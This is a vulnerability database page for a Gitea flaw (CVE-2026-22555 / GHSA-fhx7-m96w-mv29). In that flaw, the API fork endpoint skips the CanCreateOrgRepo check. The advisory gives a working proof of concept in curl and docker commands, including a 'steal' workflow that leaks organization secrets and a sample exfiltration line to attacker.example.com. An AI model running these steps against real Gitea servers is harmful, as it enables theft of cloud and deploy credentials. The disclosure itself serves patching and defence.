Vulnerability-Lookup

CVE-2026-22555 (GCVE-0-2026-22555)

Vulnerability from cvelistv5 – Published: 2026-07-03 20:19 – Updated: 2026-07-03 20:19

Title

Gitea organization forks can expose organization secrets without create permission

Summary

Gitea versions before 1.26.0 allow API users to fork a repository into an organization without first passing the CanCreateOrgRepo check, which can expose organization secrets.

Severity ?

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

CWE

CWE-284

Assigner

Gitea

References

URL

	Vendor	Product	Version
	Gitea	Gitea Open Source Git Server	Affected: 0 , < 1.26.0 (semver)

FKIE_CVE-2026-22555

Vulnerability from fkie_nvd - Published: 2026-07-03 21:16 - Updated: 2026-07-03 21:16

Severity ?

8.1 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Summary

Gitea versions before 1.26.0 allow API users to fork a repository into an organization without first passing the CanCreateOrgRepo check, which can expose organization secrets.

References

	URL	Tags
	88ee5874-cf24-4952-aea0-31affedb7ff2	https://blog.gitea.com/release-of-1.26.0/
	88ee5874-cf24-4952-aea0-31affedb7ff2	https://github.com/go-gitea/gitea/pull/36950
	88ee5874-cf24-4952-aea0-31affedb7ff2	https://github.com/go-gitea/gitea/releases/tag/v1.26.0
	88ee5874-cf24-4952-aea0-31affedb7ff2	https://github.com/go-gitea/gitea/security/advisories/GHSA-fhx7-m96w-mv29

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "defaultStatus": "unaffected",
          "product": "Gitea Open Source Git Server",
          "vendor": "Gitea",
          "versions": [
            {
              "lessThan": "1.26.0",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "source": "88ee5874-cf24-4952-aea0-31affedb7ff2"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Gitea versions before 1.26.0 allow API users to fork a repository into an organization without first passing the CanCreateOrgRepo check, which can expose organization secrets."
    }
  ],
  "id": "CVE-2026-22555",
  "lastModified": "2026-07-03T21:16:57.023",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.2,
        "source": "88ee5874-cf24-4952-aea0-31affedb7ff2",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-07-03T21:16:57.023",
  "references": [
    {
      "source": "88ee5874-cf24-4952-aea0-31affedb7ff2",
      "url": "https://blog.gitea.com/release-of-1.26.0/"
    },
    {
      "source": "88ee5874-cf24-4952-aea0-31affedb7ff2",
      "url": "https://github.com/go-gitea/gitea/pull/36950"
    },
    {
      "source": "88ee5874-cf24-4952-aea0-31affedb7ff2",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.26.0"
    },
    {
      "source": "88ee5874-cf24-4952-aea0-31affedb7ff2",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-fhx7-m96w-mv29"
    }
  ],
  "sourceIdentifier": "88ee5874-cf24-4952-aea0-31affedb7ff2",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-284"
        }
      ],
      "source": "88ee5874-cf24-4952-aea0-31affedb7ff2",
      "type": "Secondary"
    }
  ]
}

GHSA-FHX7-M96W-MV29

Vulnerability from github – Published: 2026-06-17 18:08 – Updated: 2026-06-17 18:08

Summary

Gitea: API Fork Missing CanCreateOrgRepo Check Allows Org Secret Exfiltration

Details

Summary

The API endpoint POST /api/v1/repos/{owner}/{repo}/forks only checks IsOrgMember() when a user forks a repository into an organization, but does not check CanCreateOrgRepo(). The web UI fork handler correctly checks both. This allows a read-only organization member — in a team with can_create_org_repo=false — to create repositories in the organization namespace via the API. The attacker receives full admin permissions on the forked repository, can enable Actions, push arbitrary workflow files, and exfiltrate all organization-level CI/CD secrets (deploy keys, cloud credentials, API tokens) through the runner infrastructure.

Steps To Reproduce

1. Environment setup

Start a Gitea instance with Actions enabled:

# docker-compose.yml
cat > docker-compose.yml << 'EOF'
version: '3'
services:
  gitea:
    image: gitea/gitea:1.23
    container_name: gitea-poc
    ports:
      - "3000:3000"
    volumes:
      - gitea-data:/data
    environment:
      - GITEA__database__DB_TYPE=sqlite3
      - GITEA__server__ROOT_URL=http://localhost:3000/
      - GITEA__security__INSTALL_LOCK=true
      - GITEA__actions__ENABLED=true
volumes:
  gitea-data:
EOF

docker compose up -d
# Wait for startup
sleep 15

# Create admin user
docker exec -u git gitea-poc gitea admin user create \
  --admin --username admin --password 'Admin1234!' \
  --email admin@example.com --must-change-password=false

2. Create the target environment (as admin)

# Get admin token
ADMIN_TOKEN=$(curl -s -X POST "http://localhost:3000/api/v1/users/admin/tokens" \
  -u "admin:Admin1234!" -H "Content-Type: application/json" \
  -d '{"name": "setup", "scopes": ["all"]}' | python3 -c "import sys,json; print(json.load(sys.stdin)['sha1'])")

# Create attacker user
curl -s -X POST "http://localhost:3000/api/v1/admin/users" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"Attacker123!","email":"attacker@example.com","must_change_password":false}'

# Create organization
curl -s -X POST "http://localhost:3000/api/v1/orgs" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"username":"target-org","visibility":"public"}'

# Create a source repository in the org
curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/repos" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"source-repo","auto_init":true}'

# Create a read-only team with can_create_org_repo=false
TEAM_ID=$(curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/teams" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"readonly-team","permission":"read","can_create_org_repo":false,"units":["repo.code","repo.issues"]}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

# Add attacker to the read-only team
curl -s -X PUT "http://localhost:3000/api/v1/teams/$TEAM_ID/members/attacker" \
  -H "Authorization: token $ADMIN_TOKEN"

# Add source-repo to the team so attacker can read it
curl -s -X PUT "http://localhost:3000/api/v1/teams/$TEAM_ID/repos/target-org/source-repo" \
  -H "Authorization: token $ADMIN_TOKEN"

# Create organization secrets (simulating real CI/CD credentials)
curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/DEPLOY_KEY" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"data":"sk-live-test-deploy-key-1234567890abcd"}'

curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_ACCESS_KEY" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"data":"AKIAIOSFODNN7EXAMPLE"}'

curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_SECRET_KEY" \
  -H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
  -d '{"data":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"}'

3. Register an Actions runner

# Get runner registration token
REG_TOKEN=$(docker exec -u git gitea-poc gitea actions generate-runner-token)

# Start act_runner (adjust network name if needed)
NETWORK=$(docker inspect gitea-poc --format '{{range $key, $val := .NetworkSettings.Networks}}{{$key}}{{end}}')
docker run -d --name act-runner --network "$NETWORK" \
  -e GITEA_INSTANCE_URL=http://gitea-poc:3000 \
  -e GITEA_RUNNER_REGISTRATION_TOKEN="$REG_TOKEN" \
  -e GITEA_RUNNER_LABELS=ubuntu-latest:docker://node:20-bookworm \
  -v /var/run/docker.sock:/var/run/docker.sock \
  gitea/act_runner:latest

# Wait for runner registration
sleep 15

4. Verify attacker CANNOT create repos in the org (expected: 403)

# Get attacker token
ATTACKER_TOKEN=$(curl -s -X POST "http://localhost:3000/api/v1/users/attacker/tokens" \
  -u "attacker:Attacker123!" -H "Content-Type: application/json" \
  -d '{"name": "poc", "scopes": ["all"]}' | python3 -c "import sys,json; print(json.load(sys.stdin)['sha1'])")

# Try creating a repo directly — should fail
curl -s -o /dev/null -w "Direct repo creation: HTTP %{http_code}\n" \
  -X POST "http://localhost:3000/api/v1/orgs/target-org/repos" \
  -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"should-fail","auto_init":true}'
# Expected output: Direct repo creation: HTTP 403

# Verify attacker cannot access org secrets via API
curl -s -o /dev/null -w "Access org secrets: HTTP %{http_code}\n" \
  "http://localhost:3000/api/v1/orgs/target-org/actions/secrets" \
  -H "Authorization: token $ATTACKER_TOKEN"
# Expected output: Access org secrets: HTTP 403

5. Exploit: Fork into the org via API (THE BYPASS)

# Fork the source repo into the org — this should also fail but doesn't
FORK_RESULT=$(curl -s -X POST \
  "http://localhost:3000/api/v1/repos/target-org/source-repo/forks" \
  -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
  -d '{"organization":"target-org","name":"evil-fork"}')

echo "$FORK_RESULT" | python3 -c "
import sys,json
d = json.load(sys.stdin)
print(f'Fork created: {d[\"full_name\"]}')
print(f'Permissions: admin={d[\"permissions\"][\"admin\"]}, push={d[\"permissions\"][\"push\"]}')
"
# Expected output:
#   Fork created: target-org/evil-fork
#   Permissions: admin=True, push=True

The attacker now has admin+push access to an org-owned repository, despite being in a team with can_create_org_repo=false.

6. Enable Actions and push exfiltration workflow

# Enable Actions on the fork
curl -s -X PATCH "http://localhost:3000/api/v1/repos/target-org/evil-fork" \
  -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
  -d '{"has_actions":true}'

# Push a workflow that references org secrets
WORKFLOW=$(cat << 'WFEOF'
name: exfiltrate
on: [push]
jobs:
  steal:
    runs-on: ubuntu-latest
    steps:
      - name: Leak org secrets
        env:
          DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}
          AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
          AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}
        run: |
          echo "=== SECRET EXFILTRATION ==="
          echo "DEPLOY_KEY length: ${#DEPLOY_KEY}"
          echo "AWS_ACCESS_KEY length: ${#AWS_ACCESS_KEY}"
          echo "AWS_SECRET_KEY length: ${#AWS_SECRET_KEY}"
          echo "DEPLOY_KEY prefix: ${DEPLOY_KEY:0:4}..."
          echo "AWS_ACCESS_KEY prefix: ${AWS_ACCESS_KEY:0:4}..."
          echo "AWS_SECRET_KEY prefix: ${AWS_SECRET_KEY:0:4}..."
          echo "=== END EXFILTRATION ==="
WFEOF
)

curl -s -X POST \
  "http://localhost:3000/api/v1/repos/target-org/evil-fork/contents/.gitea/workflows/steal.yml" \
  -H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
  -d "{\"content\":\"$(echo -n "$WORKFLOW" | base64 -w0)\",\"message\":\"add CI\"}"

7. Verify secret exfiltration

# Wait for the runner to execute the workflow (60-120 seconds)
sleep 90

# Check the Actions run page in browser or via API:
echo "View results at: http://localhost:3000/target-org/evil-fork/actions"

Expected output in the workflow logs:

=== SECRET EXFILTRATION ===
DEPLOY_KEY length: 37
AWS_ACCESS_KEY length: 20
AWS_SECRET_KEY length: 40
DEPLOY_KEY prefix: sk-l...
AWS_ACCESS_KEY prefix: AKIA...
AWS_SECRET_KEY prefix: wJal...
=== END EXFILTRATION ===

All three organization-level secrets are accessible to the attacker's workflow. In a real attack, the workflow would exfiltrate secrets to an attacker-controlled endpoint (e.g., curl -d "$SECRET" https://attacker.example.com/collect).

Impact

A read-only organization member — with no repository creation rights (can_create_org_repo=false) — can exfiltrate all organization-level CI/CD secrets by exploiting a missing authorization check in the API fork endpoint. The web UI correctly enforces the CanCreateOrgRepo permission, but the API does not, creating a classic API-vs-web authorization inconsistency.

The attack chain is: (1) fork an existing org repo back into the same org via the API, bypassing the CanCreateOrgRepo check; (2) receive admin permissions on the fork as its creator; (3) enable Actions and push a workflow that references org secrets; (4) the org's runner picks up the job (runners match on repository.owner_id), and org secrets are injected into the workflow environment (fetched by Repo.OwnerID); (5) the workflow exfiltrates all org secrets.

Organization secrets commonly include deploy keys, cloud credentials (AWS IAM keys, GCP service accounts), container registry tokens, and personal access tokens with broad scope. Stolen credentials enable lateral movement to cloud infrastructure, private repositories, and external services far beyond the Gitea instance itself. The attacker can also push arbitrary code under the organization's trusted namespace, creating supply chain risk for downstream consumers.

This is particularly dangerous because organizations commonly use read-only teams for auditors, reviewers, contractors, or new employees — precisely the users who should NOT have access to production secrets.

Supporting Material/References

poc-fork-authz-bypass.zip — ZIP archive containing the full exploit script and README
Vulnerable code — API fork handler (missing CanCreateOrgRepo check): https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/api/v1/repo/fork.go#L135-L144
Correct code — Web fork handler (has CanCreateOrgRepo check): https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/web/repo/fork.go#L181-L189
Runner task assignment (matches on owner_id): https://github.com/go-gitea/gitea/blob/79f96b3e24/models/actions/task.go#L245-L248
Secret injection (fetches by Repo.OwnerID): https://github.com/go-gitea/gitea/blob/79f96b3e24/models/secret/secret.go#L167
Fork creator gets admin permissions: https://github.com/go-gitea/gitea/blob/79f96b3e24/services/repository/create.go#L433-L440
Related fix: PR #34031 fixed a similar bypass via repo transfers, confirming this class of authorization inconsistency is treated as a vulnerability
OWASP API Security Top 10 2023: API5 — Broken Function Level Authorization
OWASP Top 10 2021: A01 — Broken Access Control

poc-fork-authz-bypass.zip

Severity ?

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22555"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T18:08:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe API endpoint `POST /api/v1/repos/{owner}/{repo}/forks` only checks `IsOrgMember()` when a user forks a repository into an organization, but does not check `CanCreateOrgRepo()`. The web UI fork handler correctly checks both. This allows a read-only organization member \u2014 in a team with `can_create_org_repo=false` \u2014 to create repositories in the organization namespace via the API. The attacker receives full admin permissions on the forked repository, can enable Actions, push arbitrary workflow files, and exfiltrate all organization-level CI/CD secrets (deploy keys, cloud credentials, API tokens) through the runner infrastructure.\n\n## Steps To Reproduce\n\n### 1. Environment setup\n\nStart a Gitea instance with Actions enabled:\n\n```bash\n# docker-compose.yml\ncat \u003e docker-compose.yml \u003c\u003c \u0027EOF\u0027\nversion: \u00273\u0027\nservices:\n  gitea:\n    image: gitea/gitea:1.23\n    container_name: gitea-poc\n    ports:\n      - \"3000:3000\"\n    volumes:\n      - gitea-data:/data\n    environment:\n      - GITEA__database__DB_TYPE=sqlite3\n      - GITEA__server__ROOT_URL=http://localhost:3000/\n      - GITEA__security__INSTALL_LOCK=true\n      - GITEA__actions__ENABLED=true\nvolumes:\n  gitea-data:\nEOF\n\ndocker compose up -d\n# Wait for startup\nsleep 15\n\n# Create admin user\ndocker exec -u git gitea-poc gitea admin user create \\\n  --admin --username admin --password \u0027Admin1234!\u0027 \\\n  --email admin@example.com --must-change-password=false\n```\n\n### 2. Create the target environment (as admin)\n\n```bash\n# Get admin token\nADMIN_TOKEN=$(curl -s -X POST \"http://localhost:3000/api/v1/users/admin/tokens\" \\\n  -u \"admin:Admin1234!\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\": \"setup\", \"scopes\": [\"all\"]}\u0027 | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027sha1\u0027])\")\n\n# Create attacker user\ncurl -s -X POST \"http://localhost:3000/api/v1/admin/users\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"attacker\",\"password\":\"Attacker123!\",\"email\":\"attacker@example.com\",\"must_change_password\":false}\u0027\n\n# Create organization\ncurl -s -X POST \"http://localhost:3000/api/v1/orgs\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"target-org\",\"visibility\":\"public\"}\u0027\n\n# Create a source repository in the org\ncurl -s -X POST \"http://localhost:3000/api/v1/orgs/target-org/repos\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"source-repo\",\"auto_init\":true}\u0027\n\n# Create a read-only team with can_create_org_repo=false\nTEAM_ID=$(curl -s -X POST \"http://localhost:3000/api/v1/orgs/target-org/teams\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"readonly-team\",\"permission\":\"read\",\"can_create_org_repo\":false,\"units\":[\"repo.code\",\"repo.issues\"]}\u0027 \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027id\u0027])\")\n\n# Add attacker to the read-only team\ncurl -s -X PUT \"http://localhost:3000/api/v1/teams/$TEAM_ID/members/attacker\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\"\n\n# Add source-repo to the team so attacker can read it\ncurl -s -X PUT \"http://localhost:3000/api/v1/teams/$TEAM_ID/repos/target-org/source-repo\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\"\n\n# Create organization secrets (simulating real CI/CD credentials)\ncurl -s -X PUT \"http://localhost:3000/api/v1/orgs/target-org/actions/secrets/DEPLOY_KEY\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"data\":\"sk-live-test-deploy-key-1234567890abcd\"}\u0027\n\ncurl -s -X PUT \"http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_ACCESS_KEY\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"data\":\"AKIAIOSFODNN7EXAMPLE\"}\u0027\n\ncurl -s -X PUT \"http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_SECRET_KEY\" \\\n  -H \"Authorization: token $ADMIN_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"data\":\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"}\u0027\n```\n\n### 3. Register an Actions runner\n\n```bash\n# Get runner registration token\nREG_TOKEN=$(docker exec -u git gitea-poc gitea actions generate-runner-token)\n\n# Start act_runner (adjust network name if needed)\nNETWORK=$(docker inspect gitea-poc --format \u0027{{range $key, $val := .NetworkSettings.Networks}}{{$key}}{{end}}\u0027)\ndocker run -d --name act-runner --network \"$NETWORK\" \\\n  -e GITEA_INSTANCE_URL=http://gitea-poc:3000 \\\n  -e GITEA_RUNNER_REGISTRATION_TOKEN=\"$REG_TOKEN\" \\\n  -e GITEA_RUNNER_LABELS=ubuntu-latest:docker://node:20-bookworm \\\n  -v /var/run/docker.sock:/var/run/docker.sock \\\n  gitea/act_runner:latest\n\n# Wait for runner registration\nsleep 15\n```\n\n### 4. Verify attacker CANNOT create repos in the org (expected: 403)\n\n```bash\n# Get attacker token\nATTACKER_TOKEN=$(curl -s -X POST \"http://localhost:3000/api/v1/users/attacker/tokens\" \\\n  -u \"attacker:Attacker123!\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\": \"poc\", \"scopes\": [\"all\"]}\u0027 | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027sha1\u0027])\")\n\n# Try creating a repo directly \u2014 should fail\ncurl -s -o /dev/null -w \"Direct repo creation: HTTP %{http_code}\\n\" \\\n  -X POST \"http://localhost:3000/api/v1/orgs/target-org/repos\" \\\n  -H \"Authorization: token $ATTACKER_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"should-fail\",\"auto_init\":true}\u0027\n# Expected output: Direct repo creation: HTTP 403\n\n# Verify attacker cannot access org secrets via API\ncurl -s -o /dev/null -w \"Access org secrets: HTTP %{http_code}\\n\" \\\n  \"http://localhost:3000/api/v1/orgs/target-org/actions/secrets\" \\\n  -H \"Authorization: token $ATTACKER_TOKEN\"\n# Expected output: Access org secrets: HTTP 403\n```\n\n### 5. Exploit: Fork into the org via API (THE BYPASS)\n\n```bash\n# Fork the source repo into the org \u2014 this should also fail but doesn\u0027t\nFORK_RESULT=$(curl -s -X POST \\\n  \"http://localhost:3000/api/v1/repos/target-org/source-repo/forks\" \\\n  -H \"Authorization: token $ATTACKER_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"organization\":\"target-org\",\"name\":\"evil-fork\"}\u0027)\n\necho \"$FORK_RESULT\" | python3 -c \"\nimport sys,json\nd = json.load(sys.stdin)\nprint(f\u0027Fork created: {d[\\\"full_name\\\"]}\u0027)\nprint(f\u0027Permissions: admin={d[\\\"permissions\\\"][\\\"admin\\\"]}, push={d[\\\"permissions\\\"][\\\"push\\\"]}\u0027)\n\"\n# Expected output:\n#   Fork created: target-org/evil-fork\n#   Permissions: admin=True, push=True\n```\n\nThe attacker now has admin+push access to an org-owned repository, despite being in a team with `can_create_org_repo=false`.\n\n### 6. Enable Actions and push exfiltration workflow\n\n```bash\n# Enable Actions on the fork\ncurl -s -X PATCH \"http://localhost:3000/api/v1/repos/target-org/evil-fork\" \\\n  -H \"Authorization: token $ATTACKER_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"has_actions\":true}\u0027\n\n# Push a workflow that references org secrets\nWORKFLOW=$(cat \u003c\u003c \u0027WFEOF\u0027\nname: exfiltrate\non: [push]\njobs:\n  steal:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Leak org secrets\n        env:\n          DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}\n          AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}\n          AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}\n        run: |\n          echo \"=== SECRET EXFILTRATION ===\"\n          echo \"DEPLOY_KEY length: ${#DEPLOY_KEY}\"\n          echo \"AWS_ACCESS_KEY length: ${#AWS_ACCESS_KEY}\"\n          echo \"AWS_SECRET_KEY length: ${#AWS_SECRET_KEY}\"\n          echo \"DEPLOY_KEY prefix: ${DEPLOY_KEY:0:4}...\"\n          echo \"AWS_ACCESS_KEY prefix: ${AWS_ACCESS_KEY:0:4}...\"\n          echo \"AWS_SECRET_KEY prefix: ${AWS_SECRET_KEY:0:4}...\"\n          echo \"=== END EXFILTRATION ===\"\nWFEOF\n)\n\ncurl -s -X POST \\\n  \"http://localhost:3000/api/v1/repos/target-org/evil-fork/contents/.gitea/workflows/steal.yml\" \\\n  -H \"Authorization: token $ATTACKER_TOKEN\" -H \"Content-Type: application/json\" \\\n  -d \"{\\\"content\\\":\\\"$(echo -n \"$WORKFLOW\" | base64 -w0)\\\",\\\"message\\\":\\\"add CI\\\"}\"\n```\n\n### 7. Verify secret exfiltration\n\n```bash\n# Wait for the runner to execute the workflow (60-120 seconds)\nsleep 90\n\n# Check the Actions run page in browser or via API:\necho \"View results at: http://localhost:3000/target-org/evil-fork/actions\"\n```\n\nExpected output in the workflow logs:\n```\n=== SECRET EXFILTRATION ===\nDEPLOY_KEY length: 37\nAWS_ACCESS_KEY length: 20\nAWS_SECRET_KEY length: 40\nDEPLOY_KEY prefix: sk-l...\nAWS_ACCESS_KEY prefix: AKIA...\nAWS_SECRET_KEY prefix: wJal...\n=== END EXFILTRATION ===\n```\n\nAll three organization-level secrets are accessible to the attacker\u0027s workflow. In a real attack, the workflow would exfiltrate secrets to an attacker-controlled endpoint (e.g., `curl -d \"$SECRET\" https://attacker.example.com/collect`).\n\n## Impact\n\nA read-only organization member \u2014 with no repository creation rights (`can_create_org_repo=false`) \u2014 can exfiltrate all organization-level CI/CD secrets by exploiting a missing authorization check in the API fork endpoint. The web UI correctly enforces the `CanCreateOrgRepo` permission, but the API does not, creating a classic API-vs-web authorization inconsistency.\n\nThe attack chain is: (1) fork an existing org repo back into the same org via the API, bypassing the `CanCreateOrgRepo` check; (2) receive admin permissions on the fork as its creator; (3) enable Actions and push a workflow that references org secrets; (4) the org\u0027s runner picks up the job (runners match on `repository.owner_id`), and org secrets are injected into the workflow environment (fetched by `Repo.OwnerID`); (5) the workflow exfiltrates all org secrets.\n\nOrganization secrets commonly include deploy keys, cloud credentials (AWS IAM keys, GCP service accounts), container registry tokens, and personal access tokens with broad scope. Stolen credentials enable lateral movement to cloud infrastructure, private repositories, and external services far beyond the Gitea instance itself. The attacker can also push arbitrary code under the organization\u0027s trusted namespace, creating supply chain risk for downstream consumers.\n\nThis is particularly dangerous because organizations commonly use read-only teams for auditors, reviewers, contractors, or new employees \u2014 precisely the users who should NOT have access to production secrets.\n\n\n## Supporting Material/References\n\n  * **poc-fork-authz-bypass.zip** \u2014 ZIP archive containing the full exploit script and README\n  * Vulnerable code \u2014 API fork handler (missing `CanCreateOrgRepo` check):\n    https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/api/v1/repo/fork.go#L135-L144\n  * Correct code \u2014 Web fork handler (has `CanCreateOrgRepo` check):\n    https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/web/repo/fork.go#L181-L189\n  * Runner task assignment (matches on `owner_id`):\n    https://github.com/go-gitea/gitea/blob/79f96b3e24/models/actions/task.go#L245-L248\n  * Secret injection (fetches by `Repo.OwnerID`):\n    https://github.com/go-gitea/gitea/blob/79f96b3e24/models/secret/secret.go#L167\n  * Fork creator gets admin permissions:\n    https://github.com/go-gitea/gitea/blob/79f96b3e24/services/repository/create.go#L433-L440\n  * Related fix: PR #34031 fixed a similar bypass via repo transfers, confirming this class of authorization inconsistency is treated as a vulnerability\n  * OWASP API Security Top 10 2023: API5 \u2014 Broken Function Level Authorization\n  * OWASP Top 10 2021: A01 \u2014 Broken Access Control\n\n\n[poc-fork-authz-bypass.zip](https://github.com/user-attachments/files/26129318/poc-fork-authz-bypass.zip)",
  "id": "GHSA-fhx7-m96w-mv29",
  "modified": "2026-06-17T18:08:00Z",
  "published": "2026-06-17T18:08:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-fhx7-m96w-mv29"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: API Fork Missing CanCreateOrgRepo Check Allows Org Secret Exfiltration"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-22555 (GCVE-0-2026-22555)

FKIE_CVE-2026-22555

GHSA-FHX7-M96W-MV29

Summary

Steps To Reproduce

1. Environment setup

2. Create the target environment (as admin)

3. Register an Actions runner

4. Verify attacker CANNOT create repos in the org (expected: 403)

5. Exploit: Fork into the org via API (THE BYPASS)

6. Enable Actions and push exfiltration workflow

7. Verify secret exfiltration

Impact

Supporting Material/References

Tags

Sightings

Nomenclature